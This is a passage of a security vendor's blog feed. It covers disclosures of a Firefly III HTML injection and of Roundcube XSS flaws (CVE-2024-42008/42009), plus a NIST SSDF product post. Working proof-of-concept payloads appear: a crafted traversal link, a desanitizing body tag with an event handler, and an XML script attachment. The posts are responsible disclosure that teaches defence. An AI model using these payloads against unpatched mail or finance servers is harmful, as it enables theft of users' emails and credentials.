Host: example.com&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;HTTP/1.1 500 Internal Server Error
Date: Tue, 19 Dec 2023 09:30:45 GMT
Server: Apache
...

{&quot;message&quot;:&quot;Internal Firefly III Exception: Failed to parse time string (INJECT) at position 0 (I): The timezone could not be found in the database&quot;,&quot;exception&quot;:&quot;Carbon\\Exceptions\\InvalidFormatException&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This allows an attacker to use the Client-Side Path Traversal vulnerability to reach the XSS sink:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/75e3d338-3596-4371-9690-fd397336fdd8/browser_req02.png&quot; /&gt;&lt;p&gt;An attacker can, for example, craft the following malicious link:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://example.com/webhooks/edit/1#/..\..\..\..\reports\default\1\0\%3Ch1%3EHACKED%3Cbr%3E%3Cbr%3E&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If an authenticated victim clicks on this link, and there is a least one webhook configured, the HTML code is injected into the page:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ad6e75bf-ccd4-4fec-9a0e-c126dd240724/firefly-html-injection.png&quot; /&gt;&lt;h3&gt;Limited Impact Due to Strong CSP&lt;/h3&gt;&lt;p&gt;Fortunately, the default setup of Firefly III employs a strong Content-Security-Policy (CSP) that prevents an attacker from performing Cross-Site Scripting (XSS). The vulnerability could still be used to inject arbitrary HTML or CSS into the page. For example, an attacker can inject a &lt;code&gt;meta&lt;/code&gt; tag, which immediately redirects the user to another page. This can be used in a phishing attack to redirect the user to a page that looks similar to the Firefly III application and prompt the user for their credentials. Alternatively, an attacker could leverage CSS data exfiltration techniques or craft a fake UI and trick the user into making a form submission to the application (submitting a form to another origin is prevented via the CSP).&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The vulnerability was fixed with &lt;a href=&quot;https://github.com/firefly-iii/firefly-iii/releases/tag/v6.1.1&quot;&gt;Firefly III version v6.1.1&lt;/a&gt;. Since the error message is supposed to be populated with raw HTML, the &lt;code&gt;v-html&lt;/code&gt; directive was &lt;strong&gt;not&lt;/strong&gt; removed and two mitigations were applied to prevent an attacker could control this value.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At first, the Client-Side Path Traversal vulnerability was fixed by converting the &lt;code&gt;webhookId&lt;/code&gt; extract from the URL to an integer:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-     const webhookId = page[page.length - 1];
+     const webhookId = parseInt(page[page.length - 1]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Secondly, the error message raised by the &lt;code&gt;/reports/default/&lt;/code&gt; endpoint was changed so that it does not contain any dynamic data and only a static error message:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-       } catch (InvalidDateException $e) { // @phpstan-ignore-line
+       } catch (InvalidDateException|InvalidFormatException $e) { // @phpstan-ignore-line
           $message = sprintf(&apos;Could not parse date &quot;%s&quot; for user #%d: %s&apos;, $value, auth()-&gt;user()-&gt;id, $e-&gt;getMessage());
           app(&apos;log&apos;)-&gt;error($message);
-           throw new NotFoundHttpException($message, $e);
+           throw new NotFoundHttpException(&apos;Could not parse value&apos;, $e);
       }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It is generally a good approach to only return static error messages, as highlighted by one of our &lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-mailcow-always-sanitize-error-messages/&quot;&gt;recent findings in Mailcow&lt;/a&gt;, where a controlled error message led to XSS.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If your application uses built-in sanitization bypasses, we recommend reconsidering whether they are really required or cannot be circumvented. If necessary, the data that is inserted as raw HTML should be sanitized beforehand, for example, by using a client-side sanitizer like &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-20&lt;/td&gt;&lt;td&gt;We report the issue to the Firefly III maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-20&lt;/td&gt;&lt;td&gt;Firefly III maintainers acknowledge our report and provide a patch.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-26&lt;/td&gt;&lt;td&gt;Fixed version v6.1.1 is released.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we highlighted the need to take great care when bypassing built-in sanitization in JavaScript front-end frameworks. For use cases where this is really necessary, the data inserted as raw HTML should be sanitized to allow only necessary and safe tags and attributes. The Firefly III vulnerability covered in this blog post showed that this is not always easy.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We demonstrated how attackers might leverage a Client-Side Path Traversal vulnerability to control values that were assumed to be uncontrollable. Because of this, data inserted as raw HTML should be sanitized properly beforehand. Furthermore, a strong CSP should act as an additional defense-in-depth mechanism to reduce the impact of vulnerabilities like this. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, a huge shoutout to James and the rest of the Firefly III team for quickly verifying our report and providing a comprehensive patch. Thank you!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-mailcow-always-sanitize-error-messages/&quot;&gt;Re-moo-te Code Execution in Mailcow: Always Sanitize Error Messages&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/&quot;&gt;mXSS: The Vulnerability Hiding in Your Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pfsense-vulnerabilities-sonarcloud/&quot;&gt;pfSense Security: Sensing Code Vulnerabilities with SonarCloud&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[How Sonar Helps Meeting NIST SSDF Code Security Requirements]]></title><description><![CDATA[Sonar’s solutions, including SonarLint, SonarQube, and SonarCloud, help you meet NIST SSDF code security requirements and enhance overall code quality. Find out how.
]]></description><link>https://www.sonarsource.com/blog/how-sonar-helps-with-nist-ssdf</link><guid isPermaLink="false">2fdf3613-8633-5ccc-8985-f07e6078f003</guid><dc:creator><![CDATA[Robert Curlee]]></dc:creator><pubDate>Wed, 07 Aug 2024 17:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is the NIST SSDF?&lt;/h2&gt;&lt;p&gt;The NIST Secure Software Development Framework (&lt;a href=&quot;https://csrc.nist.gov/Projects/ssdf&quot;&gt;SSDF&lt;/a&gt;) brings together security best practices and recommended standards collated from the industry’s best cyber security experts to help organizations minimize the risk of software vulnerabilities and mitigate cyber security attacks. It is designed to be adaptable without being specific to a methodology so you can easily integrate it into your existing software development lifecycle (SDLC) and fit it into your specific organization’s size, risk profile, and security practices.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;NIST SSDF 1.1 with Sonar, Explained&lt;/h2&gt;&lt;p&gt;The &lt;a href=&quot;https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218.pdf&quot;&gt;NIST SSDF 1.1&lt;/a&gt; is organized into four key sections, each focusing on a specific aspect of security risk during software development. The four key practices are as follows, including how Sonar helps with each practice.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;1. Prepare the Organization (PO)&lt;/h4&gt;&lt;p&gt;This section focuses on establishing a security culture within the organization and creating an environment that prioritizes secure software development practices.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SonarQube integrates seamlessly into existing toolchains, providing automated code analysis and continuous inspection capabilities throughout the SDLC.&lt;/li&gt;&lt;li&gt;Once you define your specific security posture, you can configure SonarQube quality profiles and custom security engine configurations (available in the Enterprise edition), so your development teams follow your company-specific policies as they code.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;2. Protect the Software (PS)&lt;/h4&gt;&lt;p&gt;This section emphasizes safeguarding all software components so that only authorized access is allowed, and any tampering is prevented.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SonarQube&amp;#x27;s integration with version control systems (VCS) like GitHub and GitLab ensures that all code changes are tracked and audited.&lt;/li&gt;&lt;li&gt;SonarQube’s strict authentication mechanisms and user and group permissions prevent unauthorized access and maintain the integrity of your codebase.&lt;/li&gt;&lt;li&gt;SonarQube&amp;#x27;s Quality Gates feature allows organizations to set predefined criteria that must be met before code can be released, ensuring code integrity throughout the development process.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;3. Produce Well-Secured Software (PW)&lt;/h4&gt;&lt;p&gt;This section highlights activities that lead to developing software with minimal security vulnerabilities, such as &lt;a href=&quot;https://www.sonarsource.com/solutions/secure-by-design-code/&quot;&gt;secure design principles&lt;/a&gt;, threat modeling, secure coding practices, recurring code reviews, and static code analysis. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;SonarQube performs automated code reviews using static code analysis to identify security vulnerabilities and code quality issues early in the development process, allowing developers to address issues during the design and implementation phases.&lt;/li&gt;&lt;li&gt;SonarQube&amp;#x27;s detailed reports and dashboards provide visibility into code quality and security, facilitating design reviews and compliance checks.&lt;/li&gt;&lt;li&gt;SonarQube can detect code duplication, encouraging developers to reuse existing, well-tested code rather than reinventing the wheel.&lt;/li&gt;&lt;li&gt;SonarQube enforces a wide range of coding standards and best practices through its rule sets, which can be customized to follow your organization’s security guidelines.&lt;/li&gt;&lt;li&gt;By integrating SonarQube into the build process, organizations can ensure that security checks are performed at every stage of development.&lt;/li&gt;&lt;li&gt;A core strength of SonarQube, the SSDF explicitly calls for a static analysis tool “to automatically check code for vulnerabilities and compliance with the organization’s security coding standards.”&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;4. Respond to Vulnerabilities (RV)&lt;/h4&gt;&lt;p&gt;Lastly, this section focuses on the processes for identifying, mitigating, and remediating vulnerabilities discovered in software after it is released.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SonarQube continuously monitors code for new vulnerabilities, providing real-time feedback to developers.&lt;/li&gt;&lt;li&gt;Sonar shortens the detection and remediation cycle by providing developers with accurate, up-to-date vulnerability information within their daily workflows.&lt;/li&gt;&lt;li&gt;SonarQube&amp;#x27;s detailed reports prioritize vulnerabilities based on their severity and impact on code quality, allowing organizations to focus on the most critical issues.&lt;/li&gt;&lt;li&gt;SonarQube&amp;#x27;s detailed issue descriptions, using the &lt;a href=&quot;https://www.sonarsource.com/resources/solution-briefs/learn-as-you-code/&quot;&gt;Learn as You Code&lt;/a&gt; (LaYC) methodology and code navigation features, help developers understand and address the root causes of vulnerabilities.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar’s solutions, including &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, help you meet NIST SSDF code security requirements and enhance overall code quality. &lt;a href=&quot;https://www.sonarsource.com/learn/nist-ssdf/&quot;&gt;Sonar addresses critical NIST SSDF practices&lt;/a&gt; for protecting and securing software and responding to vulnerabilities, making it essential for a comprehensive, secure development lifecycle. With Sonar&amp;#x27;s &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;Clean Code&lt;/a&gt; solutions, you can build secure, reliable, and maintainable software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not yet using &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/ide-login/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, or &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;? Give them a try now. Or, if you’re already using SonarQube Community Edition, upgrade to &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/why-upgrade/&quot;&gt;SonarQube Enterprise Edition&lt;/a&gt; to get the most value and strongest security features Sonar has to offer.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Government Emails at Risk: Critical Cross-Site Scripting Vulnerability in Roundcube Webmail]]></title><description><![CDATA[Sonar’s R&D team discovered a Cross-Site Scripting vulnerability in Roundcube. Similar vulnerabilities in Roundcube have been used by APTs to steal government emails.]]></description><link>https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail</link><guid isPermaLink="false">c7b51f16-ae24-54cb-8193-4164f9165283</guid><dc:creator><![CDATA[Oskar Zeino-Mahmalat]]></dc:creator><pubDate>Mon, 05 Aug 2024 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Update 2024-08-27: Full &lt;a href=&quot;#technical-details&quot;&gt;technical details&lt;/a&gt; added.&lt;/strong&gt;&lt;/p&gt;&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Sonar’s Vulnerability Research Team recently discovered a critical Cross-Site Scripting (XSS) vulnerability in Roundcube, a popular open-source webmail software.&lt;/li&gt;&lt;li&gt;When a victim views a malicious email in Roundcube sent by an attacker, the attacker can execute arbitrary JavaScript in the victim&amp;#x27;s browser. &lt;/li&gt;&lt;li&gt;Attackers can abuse the vulnerability to steal emails, contacts, and the victim&amp;#x27;s email password as well as send emails from the victim&amp;#x27;s account.&lt;/li&gt;&lt;li&gt;In October 2023, &lt;a href=&quot;https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/&quot;&gt;ESET Research reported&lt;/a&gt; that a similar vulnerability was actively used by the APT group Winter Vivern to attack European government entities.&lt;/li&gt;&lt;li&gt;Roundcube administrators should update to the &lt;a href=&quot;https://github.com/roundcube/roundcubemail/releases/tag/1.6.8&quot;&gt;patched version 1.6.8&lt;/a&gt; or &lt;a href=&quot;https://github.com/roundcube/roundcubemail/releases/tag/1.5.8&quot;&gt;1.5.8&lt;/a&gt; as soon as possible.&lt;/li&gt;&lt;li&gt;All discovered issues are tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-42008&quot;&gt;CVE-2024-42008&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-42009&quot;&gt;CVE-2024-42009&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-42010&quot;&gt;CVE-2024-42010&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;Roundcube is a popular open-source webmail software that enables users to check their emails right in their browser without needing dedicated client software. It is included by default in the server hosting panel cPanel leading to millions of installations around the globe, according to &lt;a href=&quot;https://www.shodan.io/&quot;&gt;Shodan&lt;/a&gt;. It is also used by universities as well as government agencies.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Government employees&amp;#x27; emails are a valuable target for Advanced Persistent Threat (APT) groups engaged in espionage. &lt;a href=&quot;https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/&quot;&gt;ESET Research&lt;/a&gt; and &lt;a href=&quot;https://www.recordedfuture.com/russia-aligned-tag-70-targets-european-government-and-military-mail&quot;&gt;Insikt Group&lt;/a&gt; both report documented attack campaigns by the Winter Vivern APT in 2023, targeting Roundcube servers of the Ukrainian military, Georgian Defense Ministry, and other European entities. These attacks abused a similar Cross-Site Scripting (XSS) zero-day vulnerability in Roundcube to steal emails or passwords from victims who viewed a malicious email.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we explain the vulnerabilities we discovered in Roundcube, show how attackers could exploit them for a higher impact, and describe how similar vulnerabilities in web mailers can be prevented.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;Roundcube in &lt;strong&gt;version 1.6.7 and below,&lt;/strong&gt; and in&lt;strong&gt; version 1.5.7 and below,&lt;/strong&gt; is vulnerable to the &lt;strong&gt;XSS&lt;/strong&gt; vulnerabilities &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-42009&quot;&gt;CVE-2024-42009&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-42008&quot;&gt;CVE-2024-42008&lt;/a&gt;, which have critical and high ratings respectively. These allow an unauthenticated attacker to steal emails and contacts, as well as send emails from a victim&amp;#x27;s account. All the victim user has to do is view a malicious email in Roundcube.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers can gain a persistent foothold in the victim&amp;#x27;s browser across restarts, allowing them to exfiltrate emails continuously or steal the victim&amp;#x27;s password the next time it is entered. For a successful attack, no user interaction beyond viewing the attacker&amp;#x27;s email is required to exploit the critical XSS vulnerability (CVE-2024-42009). For CVE-2024-42008, a single click by the victim is needed for the exploit to work, but the attacker can make this interaction unobvious for the user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This video demonstrates how an attack could look like using a Roundcube test instance:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/X7UX7b7Tkrk&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;We suspect that dedicated attackers like Winter Vivern will abuse these vulnerabilities at some point, as they have already shown that they can discover and exploit similar XSS vulnerabilities. That is why we strongly advise Roundcube administrators to apply the latest patch,&lt;strong&gt; &lt;a href=&quot;https://github.com/roundcube/roundcubemail/releases/tag/1.6.8&quot;&gt;version 1.6.8&lt;/a&gt;&lt;/strong&gt;,&lt;strong&gt; &lt;/strong&gt;or&lt;strong&gt; &lt;a href=&quot;https://github.com/roundcube/roundcubemail/releases/tag/1.5.8&quot;&gt;1.5.8&lt;/a&gt;&lt;/strong&gt;, as soon as possible to protect their organization&amp;#x27;s users. Users who suspect that they are affected should change their email password and additionally clear the site data of the Roundcube site they are using in their browser.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we explain the root cause of the two XSS vulnerabilities we discovered: Desanitization and unsafe Content-Types. We also detail holes in the CSS filtering of Roundcube that can be abused to aid an XSS attack and how the unsafe Content-Type issue can be abused by attackers to gain additional persistence in the victim&amp;#x27;s browser.&lt;/p&gt;&lt;h3&gt;Desanitization in Inline Email Rendering (CVE-2024-42009)&lt;/h3&gt;&lt;p&gt;We are all used to HTML emails with nice-looking formatting and styles. Roundcube needs to sanitize the HTML before rendering it in your browser to prevent XSS attacks. Roundcube uses washtml for this, a custom server-side sanitizer. We did not find an issue in the sanitization logic itself. Instead, we looked into modifications after sanitization that could lead to &lt;a href=&quot;https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/#desanitization&quot;&gt;Desanitization&lt;/a&gt;, when sanitized HTML is made harmful again.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered a Desanitization issue when emails are prepared for display in the &lt;code&gt;message_body()&lt;/code&gt; function. The issue can be abused to smuggle an XSS payload in an email through the sanitizer undetected, which can become a new event handler attribute because of a later modification.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static function message_body($attrib)
{
  // ...
  // Parse the part content for display
  // [1] sanitize
  $body = self::print_body($body, $part, $body_args);
  // ...
  if ($part-&gt;ctype_secondary == &apos;html&apos;) {
     // [2] modify -&gt; desanitization
     $body = self::html4inline($body, $body_args); 
  }
  // [3] desanitized html is displayed
  $out .= html::div($body_args[&apos;container_attrib&apos;], $plugin[&apos;prefix&apos;] . $body);
  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;program/actions/mail/show.php#L709-L721&lt;/em&gt;&lt;/p&gt;&lt;p&gt;At [1], the HTML body of the mail is sanitized inside of &lt;code&gt;print_body()&lt;/code&gt;, which uses washtml for the sanitization. The return value is a full HTML document though. Roundcube does not use an iframe to render the HTML email separate from the main page. Instead, it is transformed into an HTML snippet to become a part of the whole Roundcube page in &lt;code&gt;html4inline()&lt;/code&gt; [2]. We will see that this is dangerous since the modifications performed here can break the sanitized HTML. Finally, the desanitized HTML is appended to the output buffer &lt;code&gt;$out&lt;/code&gt; and later rendered [3].&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;html4inline()&lt;/code&gt; function transforms a full HTML document into a snippet by removing &lt;code&gt;&amp;lt;!DOCTYPE&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, and other elements. It replaces &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; with &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, as the main page already has a &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element. There is also some logic to remove the legacy attributes &lt;code&gt;bgcolor&lt;/code&gt;, &lt;code&gt;text&lt;/code&gt;, and &lt;code&gt;background&lt;/code&gt; from the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element. They are replaced with equivalent CSS inside a newly added &lt;code&gt;style&lt;/code&gt; attribute. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element and its attributes are parsed using a simple regex. The input of &lt;code&gt;html4inline()&lt;/code&gt; is already sanitized, so all stray angle brackets in attributes or elsewhere are encoded or removed, making this a safe approach.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static function html4inline($body, &amp;$args)
{
  //...
  $regexp = &apos;/&lt;body([^&gt;]*)/&apos;;

  // Handle body attributes that doesn&apos;t play nicely with div elements
  if (preg_match($regexp, $body, $m)) {
    $style = [];
    $attrs = $m[0];
    // ...
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;program/actions/mail/index.php#L1219-L1246&lt;/em&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;$attrs&lt;/code&gt; variable now contains all attributes of &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; as a string. Another regex extracts each of the legacy attributes from &lt;code&gt;$attr&lt;/code&gt;. Zooming in on the &lt;code&gt;bgcolor&lt;/code&gt; regex, we see that it performs attribute parsing for all possible delimiters: double, single, or no quotes.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/\s?bgcolor=[&quot;\&apos;]*[a-z0-9#]+[&quot;\&apos;]*/i&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But this regex is faulty! It does not check if it happens to match inside an attribute value or not. The text &lt;code&gt;bgcolor=something&lt;/code&gt; could easily show up inside of another attribute. The regex also does not check if the matched attribute value starts and ends with the same quote type or no quote at all. This incorrect parsing can be abused to break the otherwise safe HTML, as everything matching the regex is removed. The breakage occurs when an uneven number of quotes is removed. Subsequent attribute values can escape and become new attributes like event handlers with an XSS payload.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here is an example of this: &lt;code&gt;bgcolor&lt;/code&gt; is matched inside an attribute value, and the closing quote is also matched and removed. The hidden &lt;code&gt;onload&lt;/code&gt; inside the &lt;code&gt;name&lt;/code&gt; attribute becomes a new attribute because of the quote imbalance.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;body title=&quot;bgcolor=foo&quot; name=&quot;bar onload=alert(origin)&quot;&gt;
preg_replace() ---&gt;
&lt;body title=&quot; name=&quot;bar onload=alert(origin)&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Because &lt;code&gt;html4inline()&lt;/code&gt; is used after sanitization, malicious attributes that are introduced this way are not removed. Later, the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; is transformed into a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; by simply replacing the prefix &lt;code&gt;&amp;lt;body&lt;/code&gt; with &lt;code&gt;&amp;lt;div&lt;/code&gt;. An attacker needs to adapt their XSS payload to work with &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, so &lt;code&gt;onload&lt;/code&gt; does not work. Instead, &lt;code&gt;onanimationstart&lt;/code&gt; can be used with an existing animation from the Bootstrap CSS framework loaded in Roundcube.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;body title=&quot;bgcolor=foo&quot; name=&quot;bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar&quot;&gt;
  Foo
&lt;/body&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There are no further mitigations used like a Content-Security-Policy (CSP) or a sandboxed iframe. This simple email body is enough to execute JavaScript in the victim&amp;#x27;s browser and access their emails. And it is not the only XSS vulnerability we discovered.&lt;/p&gt;&lt;h3&gt;Unsafe Content-Types for Attachments (CVE-2024-42008)&lt;/h3&gt;&lt;p&gt;Roundcube has two ways to access attachments: an Open button and a Download button. Both buttons open the same link in a popup, but the Download button adds a &lt;code&gt;_download=1&lt;/code&gt; query parameter. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;https://roundcube.example?_task=mail&amp;_mbox=INBOX&amp;_part=2&amp;_action=get&amp;_uid=1337&amp;_download=1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Depending on the presence of this query parameter, the Content-Disposition header is set to &lt;code&gt;attachment&lt;/code&gt; or &lt;code&gt;inline&lt;/code&gt;. This header tells the browser whether a resource should be downloaded instead of displayed in the browser. The filename, MIME type, and charset of the attachment are also sent as headers to the browser. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;$rcmail-&gt;output-&gt;download_headers($filename, [
    &apos;type&apos; =&gt; $mimetype,
    &apos;type_charset&apos; =&gt; $attachment-&gt;charset,
    &apos;disposition&apos; =&gt; !empty($_GET[&apos;_download&apos;]) ? &apos;attachment&apos; : &apos;inline&apos;,
]);
// ...
$attachment-&gt;output($mimetype);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;program/actions/mail/get.php#L271-L290&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Displaying an arbitrary attachment with an arbitrary MIME type in the browser can lead to XSS, for example when the attachment is an HTML file. There are almost no checks in place for the MIME type here, even though it comes from a potentially malicious email. For &lt;code&gt;text/html&lt;/code&gt; and &lt;code&gt;image/svg+xml&lt;/code&gt;, the washtml sanitizer is used again. But for all other MIME types, Roundcube displays the attachment inline and without changes. Attackers can abuse this with an XML file &lt;a href=&quot;https://github.com/BlackFan/content-type-research/blob/master/XSS.md&quot;&gt;as well as other MIME types&lt;/a&gt; to trigger XSS.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;something:script xmlns:something=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
    alert(origin)
&lt;/something:script&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This issue is not new. It is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2020-13965&quot;&gt;CVE-2020-13965&lt;/a&gt; and was supposedly fixed by disabling the Open button for &lt;code&gt;text/xml&lt;/code&gt; files. For other dangerous MIME types, the Open button was already disabled. However, the unsafe behavior of displaying all attachments in the browser is still there. Users can just no longer click anywhere to navigate to the link that triggers the XSS. But what if an attacker just adds the necessary link to the email body and convinces the victim to click it? Then the attack would work again.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As seen above, attachment links have a simple format. They contain the IMAP UID, folder, and MIME part number to identify the attachment. Usually, the folder is called &amp;quot;INBOX&amp;quot; and the part number is 2, with part 1 being the HTML body of the email. So an attacker only needs to guess or leak the UID somehow, as a victim probably would not click on hundreds of links with different UID values.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our other blog posts &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;about web mailers like ProtonMail&lt;/a&gt;, we have seen that CSS in the email body can be abused to leak attribute values on the current page. An attacker can try the same with Roundcube to leak the UID, which is part of a link on the page.&lt;/p&gt;&lt;h3&gt;CSS Filter Bypass (CVE-2024-42010)&lt;/h3&gt;&lt;p&gt;The main prevention against CSS leaks in Roundcube is not a CSP, but only a regex-based blocklist filter on the CSS text. The &lt;code&gt;mod_css_styles()&lt;/code&gt; function tries to detect dangerous functions or rules, including &lt;code&gt;url()&lt;/code&gt; or 